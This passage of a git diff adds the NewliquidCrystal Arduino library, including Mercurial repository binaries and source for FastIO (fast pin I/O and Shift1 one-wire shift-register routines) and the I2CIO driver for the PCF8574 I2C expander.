zJm-~K%-!#^AZkX)^Oqd^3>l9K?IE%9^{3)r`T7Iv4XG1QDS*NQ1m*8aNoE2)5t6hi zO-Tt*JaxQF;G)&t?bKMREjvQ>mR5k|KI%$CYwO^ED~-MLU3MrqsfTLE>(?)P z@aq1Aw~L=KXZ$P}@8f1T2O=reQh30R3^r)N={^c%5~O&!Ekf6)s&&=ZmkGfpv(7}F z&Z{5uI`s-zIxuP0-EF73rwa`}xl@^Ac6j&x0=nELjV+U_9u3CJ?7eXHd&sn$?OS}K zUHVRSy_;Fl(K)VW55vj)gq*cZc6*qy;F{8vC(9Jv?B6s+c80j0+1VD>_td{OF_%4?N-KDStXc5nD{Z#~=Qxj1#SP;XEb0}zHn10xr5 zFt$+4WrGhBToMx_2us2wz~;#XUyMkONCLivp!nE*0F&;RDu$F5N3d}VKnsG`12Kl+ z*?9(6xF1V-Q>_mwcsy4+?OnPhkLoS0sKavP9yqpnL5=1O@r~)R@x1g#2E)9laRE=S mQ7=76uTfHD-q#n@SR`3s9v_rW9or3&vHoTtnfIm{YW)voFq#Aa literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/dh/utility/docs/html/md___users_fmalpartida__documents_development_mercurial_r945e6cf0c5a25adbd13121dc8faf9920ab60c890.i b/libraries/NewliquidCrystal/.hg/store/dh/utility/docs/html/md___users_fmalpartida__documents_development_mercurial_r945e6cf0c5a25adbd13121dc8faf9920ab60c890.i new file mode 100644 index 0000000000000000000000000000000000000000..9d995c6eedb859845a69a16c1278ea1b297f1732 GIT binary patch literal 2683 zcmV->3WW6l0RRC200000017(*02>nk00000006@O|NsC0|Ns9#5LA6c>RlY*bH9l?00000000000001ZoUK_~Z`(K)e($f~Xcyb0u&p>rXVTR6qIHrcXgdv( z6q$VrD2cY&(4vN<>==Xn?|aT6Wl4_H+fISjHpz4U&V}sYmy=K9oBv#%vYDGJcKP}3 zhl??bx^aAaFplGsn-liO`OU`1|B=BLbay#6@rvK{ID^E>l1<&APE*xigwk!TDI32#K zX>vXn!)PjUVYt(#aqdJvtY96Sbkytb5rvaZiP7(3$v#LBla0;FIn;9_y^?71@skIR^LJcG9R!Z2J5H4a43=Q_-0hDA@BMaBu`N9|6 zuSU$8bQpd4vlM34`(mTfAoe@oN0_a0D^iS`-K1{lYXvvyEcPFNtKu!r8F&0AY-nru zBlM$ZjQw*b(`h+}Fz@yZpm4P_DRc73&My0l$y~ZS&w6L~HT&=G>u1}2lzE7JpLZC# zCk~)bbhd(zOfHzr;E*oBf?v8_mT8u22h8SrA()#<%ivIlNyp%8sY~Dz;WF&|$tsPp1%){Oce6U-w=QKpHOxiy%x8og_OElYL^dx=o`RXaPU9D?yY`cLzaV=uB+cW(RwTD zu<#@5Ot`Y5^V}bM-a=}_Avs?dz3fBu6}Q$GBOf0&C{<%sN$bJ}Y$-V!@PKuhXX2sf zYd6Ja^pVTl$Lf+#MTp2C=I|E?YaSK*v@`}%E~;ZmhyAknq z@caziW*co0MYeb;4XfyrY=bGL)-<5nH_B+;jathzu0(Buu;wS}0Gt{?Yhj+jrnE4; z+fANOXA-5;d&q^^{^$Z{fUKl}4<@qx_F)NSm6XD)A!p*f!op1^kuE9Id*SFZGnsRR z{aGNd$~k8Kjod1)Kz5BrxKxuX#{h+>D6Bu<`%v z7h-`ExMhVf;J7)@Q$c=Fb8Q`a$()=E%O>1n8ACr#N~Kl|f)2wXjp1?v;~ZwS=ndk6 z0tzPCvM96x#>8ik>P(EzrQ_*Lvh$O}!{3hf1~IL&gkw>FSlSMFzhQF+huR#lDTp4P8_=uQwdy}_5`nk>1)dlsn=TsPS6u;{IMs(?ts(OAqiM(_hYzT+v58U z@;myQ`2`;(rS&edU;{KyZn7G2m*caem%kmps2sZX<(un^G57;YJOFq-ayDK^sAU)p zcTnZB9z-_Y-|P3|{$4Ei)2>RhE>(}N)Lv6YHF6lCAS@TO3nHV@<_g-=tIeReVc0xQ zGhR4=lD7kN%LKNJ1aP#eB|@+_)q1J~=~u+uC#OY@ModA;c&%3r50X=%ai;O=_mxfZ zJ}4CO|NIsaGm+C0E>-C8TE7JHf7xOCgvJAp?bcaa0TAv4PuU;n;KG5S`F>|$$b$L3 zG>r?zS5u?QJd4NRrWpKxfQ)V19}Tg$DE7Se#o9njOL7h_UR0Cm^;M(&<3Ik5-vKL8#-x6N*5~-A3YNImx3S5ApkyLJ8bbOV?$1pe3CESxH_-fJcZfA>3 zQYFj^xKNb@Z#0>=e_I*YQ1DGg-ns-IO08r=cq^U(l2D@AyGsCi;ND>L2&2$1XJtZx zbvjG5TgNT@9QjX*+l|iHX^*`x8ybI`V|=YA4$|`@%_3|57FL(s2+(%!cSetvn&Zw! z!XDNsfTm9&mjop?WW!+t(ziwuln_$3b_CW%NaTeS%X;x#sDi;A%)2)!r*I8?0OCf~ zgG*Kc!)MhaAQyDKi?Rg0kwLr=l^BsK#B&Xx#9`@C<++_{UwNPq+ylvG*|`#hW-z?t zeH44-T;{dRGgxXl7`q49T4e>yW@VA#lFtLLO@|d5wd|+kSmC6#OMz?I>90xk&8)f? z)o+zh2MJf&wVp9&rka%e7T)}MmO(eO8ylkmU0p`cTCbkr?RHCLtKQ17Iyc`E{XMJA pJN!RIps3#=!iv8afzAGH6`wpw6zRu67$kibMn)H Lf~JNBCZ=2fDT)y$ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/strip-backup/49ed0cdee2e3-backup.hg b/libraries/NewliquidCrystal/.hg/strip-backup/49ed0cdee2e3-backup.hg new file mode 100644 index 0000000000000000000000000000000000000000..6575bb519a9fe3a24e324925da25a9b33c9eb369 GIT binary patch literal 1064 zcmV+@1lRjWM=>x$T4*^jL0KkKS))0`cmMzlfB*mfz)szN|L^|y?e72o|M~(&0Du7& zc>n_-#wQzQ2t-f=Ug;{h;&)2ml@cJtG62v3$TT$3r>GhlGypUJ00w{>Xfy!P>KQ#j zq=us*lN9waJxtVS27mwn00001pa2Gd0002QP==;YQ%ST>O-($ZkZ3dw8e(E-#A$>K zMhF4wX`nP{28Nk5XhDDiU;rZk0E_?;qZ3R4FaQL?FpLDrh{OyDO-KmQsp_6h6Hi8y z%4B+t4^uz`Mu0TP4GjPWgVfOV4FCWG(mc{vPRz^Ag__#0$d5O0?8%}IvWAP88RW%u zOy(R5$5Gu>Li*=-aUIaoSFFfT(hSb&`?Mg0a!F{7gF+d_clrZ9i;2V}JPV-%)X#;> zwS6JsiI^lq6OtLpCIQI_Atn$t^|In(nSAzvpO=A>8W`L?LXRq}(}r#dAPfyMl1L;8 zNRp8cjB3?8fQwee(+kUGB)b-kdSn*p#wF4*6l8?}&YYOv$kS-F3J4}lFe{j;OcWCa z0!+&iTF&~0mWqT4_+yEc`ndy()nG5 zOcQOoMMcPjhbE2fN_K@vC#3Z$f=E-qA^g_7aV+daG+U>xHt!O2Y}LhD(j@Hi(O4(9 z42#;|u{B$dW`sCn6)f?RLXUp!-OrHdLlT6$o)F!uB`_J!xNHc!LqREimgar5$~>>x5P&D^A{7PI-$gY1KZzh9;UC51 zx<&|1w$p4lq{_kYz%aHVI6LB-1iLf$ZY30#g1TiR)!Z>GaTh8n0Ldhfjt~Wkf|%B- zQY;Q7kALodg$9cVpu%wZ@iU*t8a$$6b5b|LfYpME7k5luO$JVI53CTFO>L3|#O=(m zcT8jM zwIhFS%rWP9W((%zIICg;_gVN3KA4&IFA4p_|Y8z literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/undo.bookmarks b/libraries/NewliquidCrystal/.hg/undo.bookmarks new file mode 100644 index 0000000..e69de29 diff --git a/libraries/NewliquidCrystal/.hg/undo.branch b/libraries/NewliquidCrystal/.hg/undo.branch new file mode 100644 index 0000000..331d858 --- /dev/null +++ b/libraries/NewliquidCrystal/.hg/undo.branch @@ -0,0 +1 @@ +default \ No newline at end of file diff --git a/libraries/NewliquidCrystal/.hg/undo.desc b/libraries/NewliquidCrystal/.hg/undo.desc new file mode 100644 index 0000000..01aae11 --- /dev/null +++ b/libraries/NewliquidCrystal/.hg/undo.desc @@ -0,0 +1,2 @@ +195 +commit diff --git a/libraries/NewliquidCrystal/.hg/undo.dirstate b/libraries/NewliquidCrystal/.hg/undo.dirstate new file mode 100644 index 0000000000000000000000000000000000000000..930f3ce75f3f4ce573fb336514402f09f7cdee9d GIT binary patch literal 19563 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 1; + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_LOW (clockRegister,clockBit); + } + } + + } + else + { + for(i = 0; i < 8; i++) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + if(value & 0x80) + { + fio_digitalWrite_HIGH(dataRegister, dataBit); + } + else + { + fio_digitalWrite_LOW(dataRegister, dataBit); + } + value <<= 1; + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_LOW (clockRegister,clockBit); + } + } + } +} + + +void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, + fio_register clockRegister, fio_bit clockBit) +{ + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // shift out 0x0 (B00000000) fast, byte order is irrelevant + fio_digitalWrite_LOW (dataRegister, dataBit); + + for(uint8_t i = 0; i<8; ++i) + { + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_SWITCH (clockRegister, clockBit); + } + } +} + + +void fio_shiftOut1_init(uint8_t pin) +{ + fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin)); +} + +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit) +{ + // Make sure that capacitors are charged + // 300us is an educated guess... + fio_digitalWrite(shift1Register,shift1Bit,HIGH); + delayMicroseconds(300); +} + + +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, + boolean noLatch) +{ + /* + * this function are based on Shif1 protocol developed by Roman Black + * (http://www.romanblack.com/shift1.htm) + * + * test sketches: + * http://pastebin.com/raw.php?i=2hnC9v2Z + * http://pastebin.com/raw.php?i=bGg4DhXQ + * http://pastebin.com/raw.php?i=tg1ZFiM5 + * http://pastebin.com/raw.php?i=93ExPDD3 - cascading + * tested with: + * TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/ + * arduino-one-wire-shift-register-prototype) + * 7HC595N + */ + + // iterate but ignore last bit (is it correct now?) + for(int8_t i = 7; i>=0; --i) + { + + // assume that pin is HIGH (smokin' pot all day... :) - requires + // initialization + if(value & _BV(i)) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // HIGH = 1 Bit + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + //hold pin LOW for 1us - done! :) + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + //hold pin HIGH for 15us + delayMicroseconds(15); + } + else + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // LOW = 0 Bit + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + // hold pin LOW for 15us + delayMicroseconds(15); + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + + // hold pin HIGH for 30us + delayMicroseconds(30); + } + if(!noLatch && i==1) + { + break; + } + } + + if(!noLatch) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // send last bit (=LOW) and Latch command + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + } // end critical section + delayMicroseconds(199); // Hold pin low for 200us + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(shift1Register,shift1Bit); + } // end critical section + delayMicroseconds(299); // Hold pin high for 300us and leave it that + // way - using explicit HIGH here, just in case. + } +} + +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch) +{ + fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch); +} diff --git a/libraries/NewliquidCrystal/FastIO.h b/libraries/NewliquidCrystal/FastIO.h new file mode 100644 index 0000000..8636e20 --- /dev/null +++ b/libraries/NewliquidCrystal/FastIO.h @@ -0,0 +1,219 @@ +// --------------------------------------------------------------------------- +// Created by Florian Fida on 20/01/12 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// http://creativecommons.org/licenses/by-sa/3.0/ +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// --------------------------------------------------------------------------- +// fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black +// (http://www.romanblack.com/shift1.htm) +// +// Thread Safe: No +// Extendable: Yes +// +// @file FastIO.h +// This file implements basic fast IO routines. +// +// @brief +// +// @version API 1.0.0 +// +// @author Florian Fida - +// 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino +// support chipkit: +// (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/ +// cores/pic32/wiring_digital.c) +// --------------------------------------------------------------------------- +#ifndef _FAST_IO_H_ +#define _FAST_IO_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include // pleasing sanguino core +#include + + +#define SKIP 0x23 + +#if defined (__AVR__) +#include // for critical section management +typedef uint8_t fio_bit; +typedef volatile uint8_t *fio_register; + + +#elif defined(__PIC32MX__) +typedef uint32_t fio_bit; +typedef volatile uint32_t *fio_register; + + +#else +// fallback to Arduino standard digital i/o routines +#define FIO_FALLBACK +#define ATOMIC_BLOCK(dummy) if(true) +#define ATOMIC_RESTORESTATE +typedef uint8_t fio_bit; +typedef uint8_t fio_register; +#endif + + + +#if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK) +/* + * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type + * Using the portable Arduino interrupts() and noInterrupts() + */ +#define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet. +#define ATOMIC_FORCEON uint8_t sreg_save \ + __attribute__((__cleanup__(__iSeiParam))) = 0 + +static __inline__ uint8_t __iCliRetVal(void) +{ + noInterrupts(); + return(1); +} +static __inline__ void __iSeiParam(const uint8_t *__s) +{ + interrupts(); +} +#define ATOMIC_BLOCK(type) for(type, __Todo = __iCliRetVal(); __Todo; __Todo = 0) + +#endif // end of block to create compatible ATOMIC_BLOCK() + + + +/*! + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW); + +/*! + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToInputRegister(uint8_t pin); + +/*! + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit + */ +fio_bit fio_pinToBit(uint8_t pin); + + +/*! + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output + */ +// __attribute__ ((always_inline)) /* let the optimizer decide that for now */ +void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value ); + +/** + * This is where the magic happens that makes things fast. + * Implemented as preprocessor directives to force inlining + * SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. + */ + +#ifndef FIO_FALLBACK +#define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit +#define fio_digitalWrite_HIGH(reg,bit) *reg |= bit +#define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit +#define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit) +#else +// reg -> dummy NULL, bit -> pin +#define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH) +#define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW) +#define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit)) +#define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val); +#endif + +/*! + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin + */ +int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit ); + +/*! + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order + */ +void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, + fio_bit clockBit, uint8_t value, uint8_t bitOrder ); + +/*! + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + */ +void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit); + +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param pin[in] digital pin + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + */ +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param pin[in] digital pin + */ +void fio_shiftOut1_init(uint8_t pin); + +#endif // FAST_IO_H diff --git a/libraries/NewliquidCrystal/I2CIO.cpp b/libraries/NewliquidCrystal/I2CIO.cpp new file mode 100644 index 0000000..d6d0c94 --- /dev/null +++ b/libraries/NewliquidCrystal/I2CIO.cpp @@ -0,0 +1,218 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include + +#include <../Wire/Wire.h> +#include "I2CIO.h" + + + +// CLASS VARIABLES +// --------------------------------------------------------------------------- + + +// CONSTRUCTOR +// --------------------------------------------------------------------------- +I2CIO::I2CIO ( ) +{ + _i2cAddr = 0x0; + _dirMask = 0xFF; // mark all as INPUTs + _shadow = 0x0; // no values set + _initialised = false; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + + +// +// begin +int I2CIO::begin ( uint8_t i2cAddr ) +{ + _i2cAddr = i2cAddr; + + Wire.begin ( ); + + _initialised = isAvailable ( _i2cAddr ); + + if (_initialised) + { +#if (ARDUINO < 100) + _shadow = Wire.receive (); +#else + _shadow = Wire.read (); // Remove the byte read don't need it. +#endif + } + return ( _initialised ); +} + +// +// pinMode +void I2CIO::pinMode ( uint8_t pin, uint8_t dir ) +{ + if ( _initialised ) + { + if ( OUTPUT == dir ) + { + _dirMask &= ~( 1 << pin ); + } + else + { + _dirMask |= ( 1 << pin ); + } + } +} + +// +// portMode +void I2CIO::portMode ( uint8_t dir ) +{ + + if ( _initialised ) + { + if ( dir == INPUT ) + { + _dirMask = 0xFF; + } + else + { + _dirMask = 0x00; + } + } +} + +// +// read +uint8_t I2CIO::read ( void ) +{ + uint8_t retVal = 0; + + if ( _initialised ) + { + Wire.requestFrom ( _i2cAddr, (uint8_t)1 ); +#if (ARDUINO < 100) + retVal = ( _dirMask & Wire.receive ( ) ); +#else + retVal = ( _dirMask & Wire.read ( ) ); +#endif + + } + return ( retVal ); +} + +// +// write +int I2CIO::write ( uint8_t value ) +{ + int status = 0; + + if ( _initialised ) + { + // Only write HIGH the values of the ports that have been initialised as + // outputs updating the output shadow of the device + _shadow = ( value & ~(_dirMask) ); + + Wire.beginTransmission ( _i2cAddr ); +#if (ARDUINO < 100) + Wire.send ( _shadow ); +#else + Wire.write ( _shadow ); +#endif + status = Wire.endTransmission (); + } + return ( (status == 0) ); +} + +// +// digitalRead +uint8_t I2CIO::digitalRead ( uint8_t pin ) +{ + uint8_t pinVal = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Remove the values which are not inputs and get the value of the pin + pinVal = this->read() & _dirMask; + pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value + } + return (pinVal); +} + +// +// digitalWrite +int I2CIO::digitalWrite ( uint8_t pin, uint8_t level ) +{ + uint8_t writeVal; + int status = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Only write to HIGH the port if the port has been configured as + // an OUTPUT pin. Add the new state of the pin to the shadow + writeVal = ( 1 << pin ) & ~_dirMask; + if ( level == HIGH ) + { + _shadow |= writeVal; + + } + else + { + _shadow &= ~writeVal; + } + status = this->write ( _shadow ); + } + return ( status ); +} + +// +// PRIVATE METHODS +// --------------------------------------------------------------------------- +bool I2CIO::isAvailable (uint8_t i2cAddr) +{ + int error; + + Wire.beginTransmission( i2cAddr ); + error = Wire.endTransmission(); + if (error==0) + { + return true; + } + else //Some error occured + { + return false; + } +} diff --git a/libraries/NewliquidCrystal/I2CIO.h b/libraries/NewliquidCrystal/I2CIO.h new file mode 100644 index 0000000..95e59fc --- /dev/null +++ b/libraries/NewliquidCrystal/I2CIO.h @@ -0,0 +1,158 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// 